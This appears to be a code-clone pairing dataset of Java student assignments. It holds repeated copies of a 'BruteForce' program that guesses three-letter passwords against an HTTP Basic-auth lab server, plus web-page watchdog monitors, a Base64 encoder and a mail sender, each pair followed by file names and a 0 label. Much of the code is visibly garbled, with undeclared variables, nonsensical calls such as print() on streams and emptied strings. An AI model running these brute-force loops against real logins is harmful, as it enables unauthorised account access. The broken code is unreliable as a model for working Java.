import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
081.java
197.java
0
public class Base64 { final static String baseTable = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/"; public static String encode(byte[] bytes) { String tmp = ""; int i = 0; byte pos; for(i=0; i < (bytes.length - bytes.length%3); i+=3) { pos = (byte) ((bytes[i] >> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); tmp = tmp + baseTable.charAt( pos ); pos = (byte) (((bytes[i+1] & 15) << 2) + ((bytes[i+2] >> 6) & 3)); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i+2]) & 63)); tmp = tmp + baseTable.charAt(pos); if(((i+2)%56) == 0) { tmp = tmp + "\r\n"; } } if(bytes.length % 3 != 0) { if(bytes.length % 3 == 2) { pos = (byte) ((bytes[i] >> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) (((bytes[i] & 3) << 4) + ((bytes[i+1] >> 4) & 15)); tmp = tmp + baseTable.charAt( pos ); pos = (byte) ((bytes[i+1] & 15) << 2); tmp = tmp + baseTable.charAt(pos); tmp = tmp + "="; } else if(bytes.length % 3 == 1) { pos = (byte) ((bytes[i] >> 2) & 63); tmp = tmp + baseTable.charAt(pos); pos = (byte) ((bytes[i] & 3) << 4); tmp = tmp + baseTable.charAt( pos ); tmp = tmp + "=="; } } return tmp; } public static String encode(String src) { return encode(src.getBytes()); } public static byte[] decode(String src) throws Exception { byte[] bytes = null; StringBuffer buf = new StringBuffer(src); int i = 0; char c = ' '; char oc = ' '; while( i < buf.length()) { oc = c; c = buf.charAt(i); if( oc == '\r' && c == '\n') { buf.deleteCharAt(i); buf.deleteCharAt(i-1); i -= 2; } else if( c == '\t') { buf.deleteCharAt(i); i --; } else if( c == ' ') { i --; } i++; } if(buf.length() % 4 != 0) { throw new Exception("Base64 decoding invalid length"); } bytes = new byte[3 * (buf.length() / 4)]; int index = 0; for(i = 0; i < buf.length(); i+=4) { byte data = 0; int nGroup = 0; for(int j = 0; j < 4; j++) { char theChar = buf.charAt(i + j); if(theChar == '=') { data = 0; } else { data = getBaseTableIndex(theChar); } if(data == -1) { throw new Exception("Base64 decoding bad character"); } nGroup = 64*nGroup + data; } bytes[index] = (byte) (255 & (nGroup >> 16)); index ++; bytes[index] = (byte) (255 & (nGroup >> 8)); index ++; bytes[index] = (byte) (255 & (nGroup)); index ++; } byte[] newBytes = new byte[index]; for(i = 0; i < index; i++) { newBytes[i] = bytes[i]; } return newBytes; } protected static byte getBaseTableIndex(char c) { byte index = -1; for(byte i = 0; i < baseTable.length(); i ++) { if(baseTable.charAt(i) == c) { index = i; break; } } return index; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
192.java
197.java
0
import java.io.*; import java.net.*; import java.Runtime; import java.util.*; import java.net.smtp.SmtpClient; public class WatchDog { static String strImageOutputFile01 = "WebPageImages01.txt"; static String strImageOutputFile02 = "WebPageImages02.txt"; static String strWebPageOutputFile01 = "WebPageOutput01.txt"; static String strWebPageOutputFile02 = "WebPageOutput02.txt"; static String strWatchDogDiffFile_01_02 = "WatchDogDiff_01_02.txt"; static String strFromEmailDefault = "@.rmit.edu."; static String strToEmailDefault = "@.rmit.edu."; static String strFromEmail = null; static String strToEmail = null; public static void main (String args[]) { URL url = null; HttpURLConnection urlConnection; int intContentLength; String strWebPageText = ""; String strURL = "http://www.cs.rmit.edu./students/"; String strPrePend = "http://www.cs.rmit.edu."; boolean boolURLisOK = true; System.out.println(); tidyUpWatchDogFiles(); promptForEmailAddresses(); try { url = new URL(strURL); } catch(MalformedURLException e) { System.out.println("ERROR: invalid URL " + strURL); System.err.println(e); boolURLisOK = false; url = null; } catch(Exception e) { System.out.println("Exception"); System.err.println(e); } System.err.println(); if (boolURLisOK) { try { urlConnection = (HttpURLConnection)url.openConnection(); InputStream urlStream = urlConnection.getInputStream(); int intNumRead = urlStream.print(); String strNewContent; while (intNumRead != -1) { intNumRead = urlStream.print(); if (intNumRead != -1) { strNewContent = (char)intNumRead + ""; strWebPageText += strNewContent; } } urlStream.print(); if (strWebPageText != null) { if (fileExists(strWebPageOutputFile01)) { writeTextToFile(strWebPageText, strWebPageOutputFile02); } else { writeTextToFile(strWebPageText, strWebPageOutputFile01); } if (fileExists(strWebPageOutputFile02)) { System.out.println("Output file"); System.out.println("-----------"); System.out.println("The output file '" + strWebPageOutputFile02 + "' has NOW BEEN created."); System.out.println(); System.out.println("Comparison"); System.out.println("----------"); System.out.println("A text comparison NOW performed " + "with the output"); System.out.println("file '" + strWebPageOutputFile01 + "'."); System.out.println(); createDiffFileIfNeeded(strWebPageOutputFile01, strWebPageOutputFile02); if (fileExists(strWatchDogDiffFile_01_02)) { System.out.println("Mail (ordinary text comparison)"); System.out.println("--------------------------------"); if (getFileSize(strWatchDogDiffFile_01_02) > 0) { sendMailWithDetectedChanges(); System.out.println("Text diff mail has been sent the '' email address."); } else { System.out.println("The DIFF file has zero length - text diff mail has NOT been sent."); } } createImageTextFile(strWebPageOutputFile01, strPrePend); createImageTextFile(strWebPageOutputFile02, strPrePend); System.out.println(); System.out.println("Image text file/s"); System.out.println("-----------------"); if (fileExists(strImageOutputFile01)) { System.out.println("'" + strImageOutputFile01 + "' has been created."); System.out.println("Images from '" + strImageOutputFile01 + "' now downloaded using"); System.out.println("the Unix 'wget' command:"); downloadImages(strImageOutputFile01); } if (fileExists(strImageOutputFile02)) { System.out.println(); System.out.println("'" + strImageOutputFile02 + "' has been created."); } System.out.println(); } else if (fileExists(strWebPageOutputFile01)) { System.out.println("Output file"); System.out.println("-----------"); System.out.println("The output file '" + strWebPageOutputFile01 + "' has NOW BEEN created."); System.out.println(); System.out.println("Comparison"); System.out.println("----------"); System.out.println("A comparison CANNOT performed " + "with this output file"); System.out.println("because it is the only output file " + "in existence."); System.out.println(); } } } catch(Exception e) { boolURLisOK = false; System.err.println(e); } finally { urlConnection = null; url = null; } } System.out.println(); } static void tidyUpWatchDogFiles() { deleteFile(strWatchDogDiffFile_01_02); deleteFile(strImageOutputFile01); deleteFile(strImageOutputFile02); if (fileExists(strWebPageOutputFile01)) { if (fileExists(strWebPageOutputFile02)) { deleteFile(strWebPageOutputFile01); renameFile(strWebPageOutputFile02, strWebPageOutputFile01); } } else { deleteFile(strWebPageOutputFile02); } } static void promptForEmailAddresses() { BufferedReader stdin = new BufferedReader(new InputStreamReader(System.in)); System.out.println(); System.out.println("'From' email address"); System.out.println("--------------------"); System.out.println("Please enter a 'From' email address, press Enter for default"); System.out.print("(default: " + strFromEmailDefault + "): "); try { strFromEmail = stdin.readLine(); } catch (Exception e) { System.err.println(e); } System.out.println(); if ( (strFromEmail == null) || (strFromEmail.length() == 0) ) { System.out.println(" email address was entered."); System.out.println("The 'From' email address default : " + strFromEmailDefault); strFromEmail = strFromEmailDefault; } else { System.out.println("The entered 'From' email address is: " + strFromEmail); } System.out.println(); System.out.println("'' email address"); System.out.println("------------------"); System.out.println("Please enter a '' email address, press Enter for default"); System.out.print("(default: " + strToEmailDefault + "): "); try { strToEmail = stdin.readLine(); } catch (Exception e) { System.err.println(e); } System.out.println(); if ( (strToEmail == null) || (strToEmail.length() == 0) ) { System.out.println(" email address was entered."); System.out.println("The '' email address default : " + strToEmailDefault); strToEmail = strToEmailDefault; } else { System.out.println("The entered '' email address is: " + strToEmail); } } static void writeTextToFile(String strText, String strWriteToThisFileName) { try { File newFile = new File(strWriteToThisFileName); if (newFile.exists()) { newFile.delete(); } BufferedWriter toFile = new BufferedWriter(new FileWriter(newFile, false)); toFile.write(strText); toFile.print(); toFile = null; newFile = null; } catch(Exception e) { System.err.println(e.toString()); System.out.println("File write problem for '" + strWriteToThisFileName + "'."); } } static void createDiffFileIfNeeded(String strFileName1, String strFileName2) { try { Process p = Runtime.getRuntime().exec("./diff_files.sh"); p.waitFor(); } catch (Exception e) { System.out.println("Shell script exception"); System.out.println("----------------------"); System.err.println(e); System.out.println(""); } } static void createImageTextFile(String inputFile, String prePend) { String str; String strImage = ""; String strImageArray[]; String strInputFromFile = ""; String strSearchString = "<img src"; boolean boolContinue = true; int intImageCounter = 0; int intStartSearch = 0; char ch; strImageArray = new String[1000]; try { BufferedReader file = new BufferedReader(new FileReader(inputFile)); while ( (str = file.readLine()) != null) { strInputFromFile += str; } file.print(); file = null; } catch (Exception e) { boolContinue = false; System.err.println(e); } if (boolContinue) { strInputFromFile = (strInputFromFile.toLowerCase()).trim(); intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch); while (intStartSearch != -1) { intStartSearch += 8; while ( (strInputFromFile.charAt(intStartSearch) == ' ') || (strInputFromFile.charAt(intStartSearch) == '=') || (strInputFromFile.charAt(intStartSearch) == '\"') ) { intStartSearch++; } while ((strInputFromFile.charAt(intStartSearch) != '\"')) { ch = strInputFromFile.charAt(intStartSearch); strImage += String.valueOf(ch); intStartSearch++; } if (strImage.startsWith("/")) strImage = prePend + strImage; intImageCounter++; strImageArray[intImageCounter - 1] = strImage; strImage = ""; intStartSearch = strInputFromFile.indexOf(strSearchString, intStartSearch); } if (inputFile.equals(strWebPageOutputFile01)) { writeTextArrayToFile(strImageArray, strImageOutputFile01, intImageCounter); } else if (inputFile.equals(strWebPageOutputFile02)) { writeTextArrayToFile(strImageArray, strImageOutputFile02, intImageCounter); } } } static void downloadImages(String ImageOutputFile) { Process p; String str; String strFileName; try { BufferedReader file = new BufferedReader(new FileReader(ImageOutputFile)); while ( (str = file.readLine()) != null) { strFileName = getImageFileName(str); System.out.println(" " + str); System.out.println(" file name: " + strFileName); if (fileExists(strFileName)) deleteFile(strFileName); p = Runtime.getRuntime().exec("wget " + str); p.waitFor(); } file = null; } catch (Exception e) { System.err.println("downloadingImages: " + e); } } static String getImageFileName(String imageFileName) { String strFileName; int intFileNameLength = imageFileName.length(); int intStartPosOfFileName = intFileNameLength - 1; while ( (intStartPosOfFileName >= 0) && (imageFileName.charAt(intStartPosOfFileName) != '/') ) { intStartPosOfFileName--; } strFileName = imageFileName.substring(intStartPosOfFileName + 1, intFileNameLength); return strFileName; } static void writeTextArrayToFile(String strTextArray[], String strWriteToThisFileName, int numberOfImages ) { boolean boolFirstLineWritten = false; try { File newFile = new File(strWriteToThisFileName); if (newFile.exists()) { newFile.delete(); } BufferedWriter toFile = new BufferedWriter(new FileWriter(newFile, false)); for ( int i = 0 ; i < numberOfImages ; i++ ) { if (boolFirstLineWritten) toFile.newLine(); else boolFirstLineWritten = true; toFile.write(strTextArray[i]); } toFile.print(); toFile = null; newFile = null; } catch(Exception e) { System.err.println(e.toString()); System.out.println("File write problem for '" + strWriteToThisFileName + "'."); } } static boolean fileExists(String strFileName) { boolean boolReturnValue; File aFile = new File(strFileName); if (aFile.exists()) boolReturnValue = true; else boolReturnValue = false; aFile = null; return boolReturnValue; } static void deleteFile(String strFileName) { if (fileExists(strFileName)) { File aFile = new File(strFileName); try { aFile.delete(); } catch (Exception e) { System.err.println(e); } aFile = null; } } static void renameFile(String strFromFileName, String strToFileName) { File from = new File(strFromFileName); File to = new File(strToFileName); boolean success = from.renameTo(); from = null; to = null; } static getFileSize(String strFileName) { lngReturnValue; File file = new File(strFileName); lngReturnValue = file.length(); file = null; return lngReturnValue; } static void sendMailWithDetectedChanges() { String str; String strInputFromFile = null; try { BufferedReader fromFile = new BufferedReader(new FileReader(strWatchDogDiffFile_01_02)); while ( (str = fromFile.readLine()) != null) { strInputFromFile += str; } fromFile.print(); fromFile = null; SmtpClient smtp = new SmtpClient(); smtp.from(strFromEmail); smtp.to(strToEmail); PrintStream msg = smtp.startMessage(); msg.println(": " + strToEmail); msg.println("From: " + strFromEmail); msg.println("Subject: Change in website content\n"); msg.println(strInputFromFile); smtp.closeServer(); } catch (IOException e) { System.err.println(e); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
254.java
197.java
0
import java.io.*; import java.net.*; import java.*; import java.String; import java.util.*; public class WatchDogThread extends Thread { private int dayTime; private Vector webPageLines; private Vector originalWebPageLines; private Vector addLines; private Vector deductLines; private Vector v; private Runtime run; private String str; private String responseLine; private String host; private int lineNo; private Process process; private Socket socket; private BufferedReader in; private BufferedReader pageLine; private PrintWriter out; private boolean checked = false; private boolean changed = false; private static String commandLine="curl http://www.cs.rmit.edu./students/ -i"; private String[] sendString = { "HELO mail.nowhere.", "MAIL FROM: @cs.rmit.edu.", "RCPT : @cs.rmit.edu.", "DATA", "Subject: webpage changed!", ".", "QUIT"}; public WatchDogThread(String str) { super(str); dayTime = 24*60*60*1000; webPageLines = new Vector(); originalWebPageLines = new Vector(); addLines = new Vector(); deductLines = new Vector(); v = new Vector(); } public void run() { run = Runtime.getRuntime(); host = "mail.cs.rmit.edu."; while(true) { try{ if(!loadPage()) break; if(checked) { compare(); if(addLines.size() != 0 || deductLines.size() != 0) { changed = true; } else if(v.size() != 0) { changed = true; addLines.removeAllElements(); deductLines.removeAllElements(); } else { changed = false; addLines.removeAllElements(); deductLines.removeAllElements(); } if(changed) { socket = new Socket(host,25); in = new BufferedReader(new InputStreamReader( socket.getInputStream())); out = new PrintWriter(new OutputStreamWriter( socket.getOutputStream())); out.println(sendString[0]); out.flush(); while((responseLine = in.readLine())!=null){ if(responseLine.indexOf("pleased meet ") != -1) break; } if(responseLine.indexOf("pleased meet ") != -1) { out.println(sendString[1]); out.flush(); responseLine = in.readLine(); if(responseLine.substring(responseLine.length()-9,responseLine.length()).equals("Sender ok")) { out.println(sendString[2]); out.flush(); responseLine = in.readLine(); if(responseLine.substring(responseLine.length()-12,responseLine.length()).equals("Recipient ok")) { out.println(sendString[3]); out.flush(); responseLine = in.readLine(); if(responseLine.substring(0,14).equals("354 Enter mail")) { out.println(sendString[4]); out.flush(); lineNo = 0; if(addLines.size()!=0) { out.println("The following lines the added new lines:"); out.flush(); while(addLines.size()>lineNo) { out.println(String.valueOf(lineNo+1)+": "+(String)(addLines.elementAt(lineNo++))); out.flush(); } out.println("\n--- --- --- --- --- --- ---\n"); out.flush(); } lineNo = 0; if(deductLines.size()!=0) { out.println("The following lines the deducted lines:"); out.flush(); while(deductLines.size()>lineNo) { out.println(String.valueOf(lineNo+1)+": "+ (String)(deductLines.elementAt(lineNo++))); out.flush(); } out.println("\n--- --- --- --- --- --- ---\n"); out.flush(); } lineNo = 0; if(v.size() != 0) { out.println("The following lines the added lines that the same"); out.flush(); out.println(" as some lines in the original webpage:"); out.flush(); while(v.size()>lineNo) { out.println(String.valueOf(lineNo+1)+": "+ (String)(v.elementAt(lineNo++))); out.flush(); } out.println("\n--- --- --- --- --- --- ---\n"); out.flush(); } out.println(sendString[5]); out.flush(); responseLine = in.readLine(); if(responseLine.substring(responseLine.length()-29,responseLine.length()).equals("Message accepted for delivery")) { out.println(sendString[6]); out.flush(); } } } } } socket.close(); } update(changed); } else { checked = true; update(changed); } } catch (Exception e) { System.out.println(e.getMessage()); break; } try { sleep(dayTime); } catch (InterruptedException e ) { System.out.println(e.getMessage()); break; } } } public void compare() { int n = 0; int j = 0; try { v.removeAllElements(); while(n < webPageLines.size()) { for(j = 0; j < originalWebPageLines.size(); j++) { if(((String)(webPageLines.elementAt(n))) .equals((String)(originalWebPageLines.elementAt(j)))) { v.addElement((String)(webPageLines.elementAt(n))); break; } } if(j == originalWebPageLines.size()) { addLines.addElement((String)(webPageLines.elementAt(n))); } n++; } n = 0; while(n < originalWebPageLines.size()) { for(j = 0; j < webPageLines.size(); j++) { if(((String)(originalWebPageLines.elementAt(n))) .equals((String)(webPageLines.elementAt(j)))) { v.remove((String)(originalWebPageLines.elementAt(n))); break; } } if(j == webPageLines.size()) { deductLines.addElement((String)(originalWebPageLines.elementAt(n))); } n++; } } catch (Exception e) { System.out.println(e.getMessage()); } } public void update(boolean updatePageLines) { try { addLines.removeAllElements(); deductLines.removeAllElements(); v.removeAllElements(); if(updatePageLines) { originalWebPageLines.removeAllElements(); for(int i=0; i< webPageLines.size(); i++) { originalWebPageLines.addElement((String)(webPageLines.elementAt(i))); } webPageLines.removeAllElements(); } else webPageLines.removeAllElements(); changed = false; } catch (Exception e) { System.out.println(e.getMessage()); } } public boolean loadPage() { try { process = run.exec(commandLine); pageLine = new BufferedReader(new InputStreamReader(process.getInputStream())); str = pageLine.readLine(); if(str.equals("HTTP/1.1 200 OK")) { { str = pageLine.readLine(); if(str.indexOf("<") != -1) break; }while(true); if(!checked) originalWebPageLines.addElement(str); else webPageLines.addElement(str); { str = pageLine.readLine(); if(str != null) { if(str.length() != 0 && !(str.equals(""))) { if(!checked) originalWebPageLines.addElement(str); else webPageLines.addElement(str); } } else break; } while(true); return true; } else return false; } catch (Exception e) { System.out.println(e.getMessage()); } return true; } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
109.java
197.java
0
import java.io.BufferedReader; import java.io.FileInputStream; import java.io.IOException; import java.io.InputStreamReader; import java.util.Date; import java.util.Properties; import javax.mail.Message; import javax.mail.Session; import javax.mail.Transport; import javax.mail.Message.RecipientType; import javax.mail.internet.InternetAddress; import javax.mail.internet.MimeMessage; public class Mailsend { static final String SMTP_SERVER = MailsendPropertyHelper.getProperty("smtpServer"); static final String RECIPIENT_EMAIL = MailsendPropertyHelper.getProperty("recipient"); static final String SENDER_EMAIL = MailsendPropertyHelper.getProperty("sender"); static final String MESSAGE_HEADER = MailsendPropertyHelper.getProperty("messageHeader"); public static void main(String args[]) { try { String smtpServer = SMTP_SERVER; String recip = RECIPIENT_EMAIL; String from = SENDER_EMAIL; String subject = MESSAGE_HEADER; String body = "Testing"; System.out.println("Started sending the message"); Mailsend.send(smtpServer,recip , from, subject, body); } catch (Exception ex) { System.out.println( "Usage: java mailsend" + " smtpServer toAddress fromAddress subjectText bodyText"); } System.exit(0); } public static void send(String smtpServer, String receiver, String from, String subject, String body) { try { Properties props = System.getProperties(); props.put("mail.smtp.host", smtpServer); props.put("mail.smtp.timeout", "20000"); props.put("mail.smtp.connectiontimeout", "20000"); Session session = Session.getDefaultInstance(props, null); Message msg = new MimeMessage(session); msg.setFrom(new InternetAddress(from)); msg.setRecipients(Message.RecipientType.NORMAL, InternetAddress.parse(receiver, false)); msg.setSubject(subject); msg.setSentDate(new Date()); msg.setText(body); Transport.send(msg); System.out.println("sent the email with the differences : "+ + "using the mail server: "+ smtpServer); } catch (Exception ex) { ex.printStackTrace(); } } }
import java.*; import java.io.*; import java.util.*; public class BruteForce { public final static int TOTAL_TIMES=52*52*52; public char[] passwd; public static void main(String[] args) throws IOException { BruteForce bf=new BruteForce(); System.out.println(" cracking..."); time1=new Date().getTime(); bf.doBruteForce(time1); time2=new Date().getTime(); System.out.println("Finish cracking."); System.out.println(" password found."); System.out.println("costs "+(time2-time1)+" milliseconds"); System.exit(1); } void doBruteForce(int time1) throws IOException { passwd=new char[3]; Runtime rt=Runtime.getRuntime(); num=0; for(int i=(int)'z';i>=(int)'A';i--) { if(i==96) i=90; passwd[0]=(char)i; for(int j=(int)'z';j>=(int)'A';j--) { if(j==96) j=90; passwd[1]=(char)j; for(int k=(int)'z';k>=(int)'A';k--) { if(k==96) k=90; passwd[2]=(char)k; String password=new String(passwd); try { num++; Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php"); String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine(); p.destroy(); if(ln!=null) if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o') { System.out.println(password); System.out.println("Finish cracking."); System.out.println(ln); System.out.println("password is "+password); time2=new Date().getTime(); System.out.println("costs "+(time2-time1)+" milliseconds"); System.out.println("The number of attempts is "+num); System.exit(1); } } catch (FileNotFoundException exc) { System.out.println ("File Not Found"); k++; } catch (IOException exc) { System.out.println ("IOException"); k++; } catch (NullPointerException exc) { System.out.println ("NullPointerException"); k++; } } } } } }
188.java
197.java
0
import java.awt.*; import java.String; import java.util.*; import java.io.*; import java.net.*; public class BruteForce { private URL url; private HttpURLConnection connection ; private int stopTime = 0; private int startTime = 0; private int count = 0; public BruteForce() { System.out.println("Process is running..."); startTime = System.currentTimeMillis(); threeLetters(); twoLetters(); } public static void main (String args[]) { BruteForce bf = new BruteForce(); } public void threeLetters() { String s1; char [] a = {'a','a','a'}; for (int i0 = 0; i0 < 26; i0++) { for (int i1 = 0; i1 < 26; i1++) { for (int i2 = 0; i2 < 26; i2++) { s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) + String.valueOf((char)(a[2] + i2)); decision(s1); count++; s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)) + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = String.valueOf((char)(a[0] + i0)) + (String.valueOf((char)(a[1] + i1))).toUpperCase() + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + (String.valueOf((char)(a[1] + i1))).toUpperCase() + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))) + (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2)); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) + String.valueOf((char)(a[2] + i2)); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)) + (String.valueOf((char)(a[2] + i2))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + (String.valueOf((char)(a[1] + i1))).toUpperCase() + String.valueOf((char)(a[2] + i2)); decision(s1); count++; } } } } public void twoLetters() { String s1; char [] a = {'a','a'}; for (int i0 = 0; i0 < 26; i0++) { for (int i1 = 0; i1 < 26; i1++) { s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)); decision(s1); count++; s1 = String.valueOf((char)(a[0] + i0)) + String.valueOf((char)(a[1] + i1)).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + (String.valueOf((char)(a[1] + i1))).toUpperCase(); decision(s1); count++; s1 = (String.valueOf((char)(a[0] + i0))).toUpperCase() + String.valueOf((char)(a[1] + i1)); decision(s1); count++; } } } public void decision(String s1) { if (find(s1) == 200) { stopTime = System.currentTimeMillis(); runTime = stopTime - startTime; System.out.println("***************************************"); System.out.println("\nAttack successfully"); System.out.println("\nPassword is: " + s1); System.out.println("\nThe contents of the Web site: "); displayContent(s1); System.out.println("\nTime taken crack: " + runTime + " millisecond"); System.out.println("\nNumber of attempts: " + count); System.out.println(); System.exit(0); } } public int find(String s1) { int responseCode = 0; try { url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + s1)); responseCode = connection.getResponseCode(); }catch (Exception e) { System.out.println(e.getMessage()); } return responseCode; } public void displayContent(String pw) { BufferedReader bw = null ; try { url = new URL("http://sec-crack.cs.rmit.edu./SEC/2/"); connection = (HttpURLConnection)url.openConnection(); connection.setRequestProperty("Authorization"," " + MyBase64.encode("" + ":" + pw)); InputStream stream = (InputStream)(connection.getContent()); if (stream != null) { InputStreamReader reader = new InputStreamReader (stream); bw = new BufferedReader (reader); String line; while ((line = bw.readLine()) != null) { System.out.println(line); } } } catch (IOException e) { System.out.println(e.getMessage()); } } }
